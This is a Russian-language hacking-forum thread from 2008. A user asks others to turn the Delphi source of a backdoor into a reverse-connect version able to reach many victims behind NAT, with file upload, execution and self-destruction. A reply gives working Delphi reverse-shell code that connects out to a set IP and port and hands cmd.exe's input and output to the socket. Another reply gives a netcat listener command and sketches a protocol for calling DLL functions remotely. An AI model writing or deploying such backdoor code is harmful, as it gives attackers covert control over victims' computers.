ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Кто нибудь может переделать бекдор под бекконнект?
  #1  
Старый 02.10.2008, 02:59
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию Кто нибудь может переделать бекдор под бекконнект?

В общем, ситуация следующая, это не заказ программы, а так сказать идея.
На данный момент, если я не ошибаюсь, в интернете нету ни одного бекконнект-бекдора, а 70-80% интернетчиков, особенно Москвичи сидят за NAT.
Вот хотелось бы предложить написать кому-нибудь такой бекдор, он будет в новинку, и я уверен будет пользоваться популярностью, ибо вещь нужная, но нету 
Но чем писать с нуля, проще модифицировать исходник какого-нибудь достойного бекдора где уже есть всё необходимое, и такой исходник на Delphi имеется, это Forced Control Uploader (FCU), лично на мой взгляд превосходит великий Radmin почти во всём.
Во первых умеет видеть скрытые файлы и папки, во вторых есть функция загрузки и запуска файла на компе у жертвы, ну и в третьих самоуничтожение.
Принцип стандартного бекдора, сервер (вес около 60 килобайт) открывает порт (можно с паролем), ну и клиент который джонится к внешнему IP адресу.

Вот идеальный вариант если кто может, конечно же модифицировать его под бекконнект. Чтобы сервер при запуске не открывал порт, а сам пытался заджониться по IP адресу (или адресу сайта) на определённый порт.
А в клиенте надо сделать такую функцию, чтобы он принимал соединение только с указанного IP адреса (потому что жертва не одна, их может быть много), ну а чтобы узнать IP адрес в сервере можно добавить функцию, чтобы он отстукивал скажем на гейт с сообщением +IP+ готов к соединению…
На мой взгляд, незаменимая вещь в хозяйстве.

Ну и вот сам исходник на Delphi этого FCU:
http://ifolder.ru/8374569
 
Ответить с цитированием

  #2  
Старый 02.10.2008, 03:23
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Цитата:
На данный момент, если я не ошибаюсь, в интернете нету ни одного бекконнект-бекдора
Ты ошибаешься.

По секрету первый rdp бекконеект появился еще 2003 году.
 
Ответить с цитированием

  #3  
Старый 02.10.2008, 03:52
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

Ну тогда ссылки в студию где это чудо можно увидеть, естественно имеется ввиду чтобы там была функция лазить по винчестеру, а не просто командная строка или фишки типа открыть\закрыть сидиром и т.д...

И тогда такой вопрос, а исходники на Delphi подобных бекдоров есть?
 
Ответить с цитированием

  #4  
Старый 02.10.2008, 11:05
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

Дык всё тут просто. проще некуда. Уже давно существую и бекконнект бекдоры и бекконнект соксы.
На счет простого бекконнект бекдора - можно было прочитать еще в статье Криса Касперски, где он описывал проход через фаерволы. и для демонстрации там была вешь типа бекконнект шел. На дельфе редается это в пару команд
 
Ответить с цитированием

  #5  
Старый 02.10.2008, 11:16
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

Для простой демонстрации вот наспех написанный код
Код:
var
 StartupInfo:_STARTUPINFOA;
 ProcessInformation:_PROCESS_INFORMATION;
 addr:tsockaddrin;
 sock:thandle;
 wsdata:TWSADATA;
const
 shell_port=12345;
 shell_ip='127.0.0.1';
begin
 WSAStartup($202,wsdata);
 sock:=WSASocketA(2,1,6,nil,0,0);
 if sock=INVALID_SOCKET then exit;
 addr.sin_family:=AF_INET;
 addr.sin_addr.s_addr:=0;
 addr.sin_port:=htons(shell_port);
 addr.sin_addr.s_addr := inet_addr(shell_ip);
 if Connect(sock, @addr, SizeOf(addr))<>0 then
  begin
   closesocket(sock);
   exit;
  end;
 fillchar(StartupInfo,sizeof(StartupInfo),0);
 StartupInfo.cb:=sizeof(StartupInfo);
 StartupInfo.dwFlags:=$100;
 StartupInfo.hStdInput:=sock;
 StartupInfo.hStdOutput:=sock;
 StartupInfo.hStdError:=sock;
 CreateProcessA(nil,'cmd.exe',nil,nil,true,$8000040,nil,nil,StartupInfo,ProcessInformation);
end;
Это просто пример для Shell
А так я задумывался както над довольно интерестной вешью в плане сетевого програмимрования. Но времяни небыло для реализации. Суть её такова:
Структура команды следующая
Имя библиотеки + имя функции + параметры + что передать обратно в сокет.
И идет это примерно так
1) Читаешь команду из сокета
2) грузишь бебиблиотеку
3) грузишь функцию из неё
4) выполняешь эту функцию с заданными параметрами
5) результат выполнения передается обратно в зависимости от параметров которые были указаны в запросе. Или коды ошибок

Теоретически таким образом можно делать практически всё что угодно.
К примеру нужно вывести на экран сообщение
для этого будет типа
len_lib + user32.dll + len_name + MessageBoxA + param_type+[param_len]+param итд ... + 0
типа
0 - результат выполнения функции
1 ... n - переданный параметр
При том что организация переменных - тоже проста. а заранее указанные типы данных тоже расширяют всё.
В этоге теоретически можно мное что делать удаленно.
P.S. Но это тока пока моя теория.

Последний раз редактировалось slesh; 02.10.2008 в 11:28..
 
Ответить с цитированием

  #6  
Старый 02.10.2008, 12:46
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

Если-б я мог написать бекконнект-бекдора я наверное не создавал-бы тему.
А так-же я знаю что они ЕСТЬ в теории, но не про нашу честь. Скачать и заюзать их всё равно нельзя.
 
Ответить с цитированием

  #7  
Старый 02.10.2008, 12:55
_nic
Постоянный
Регистрация: 05.05.2006
Сообщений: 743
Провел на форуме:
2982851

Репутация: 107


По умолчанию

Цитата:
Сообщение от slesh  
А так я задумывался както над довольно интерестной вешью в плане сетевого програмимрования. Но времяни небыло для реализации. Суть её такова:
Структура команды следующая
Имя библиотеки + имя функции + параметры + что передать обратно в сокет.
И идет это примерно так
1) Читаешь команду из сокета
2) грузишь бебиблиотеку
3) грузишь функцию из неё
4) выполняешь эту функцию с заданными параметрами
5) результат выполнения передается обратно в зависимости от параметров которые были указаны в запросе. Или коды ошибок

Теоретически таким образом можно делать практически всё что угодно.
К примеру нужно вывести на экран сообщение
для этого будет типа
len_lib + user32.dll + len_name + MessageBoxA + param_type+[param_len]+param итд ... + 0
типа
0 - результат выполнения функции
1 ... n - переданный параметр
При том что организация переменных - тоже проста. а заранее указанные типы данных тоже расширяют всё.
В этоге теоретически можно мное что делать удаленно.
P.S. Но это тока пока моя теория.
такое уже вроде в природе существует ru.wikipedia.org/wiki/Remote_Procedure_Call
 
Ответить с цитированием

  #8  
Старый 02.10.2008, 18:06
0verbreaK
Постоянный
Регистрация: 30.04.2008
Сообщений: 323
Провел на форуме:
379101

Репутация: 136
По умолчанию

slesh в твоем коде производится соединение, но порт не связывается/перечислять и не производится accept, он разве будет работать?
 
Ответить с цитированием

  #9  
Старый 02.10.2008, 20:20
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

2 0verbreaK дык это connect back - по этмоу еще как работает. т.е. он стучится на ткрытый порт.
Типа nc -p 12345 -L
 
Ответить с цитированием

  #10  
Старый 02.10.2008, 21:55
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

Так всё-таки, может ли кто в данном исходнике изменить просто назначение клиента и сервера просто поменяв функции местами?
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
КТО НИБУДЬ МОЖЕТ ПРОБИТЬ ДОСТУП.. ТАРАНТУЛ Болталка 0 18.06.2008 16:07
кто может найти уязвимость в chat.europaplus.kz? Khazidhea Чаты 1 10.01.2006 18:11



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ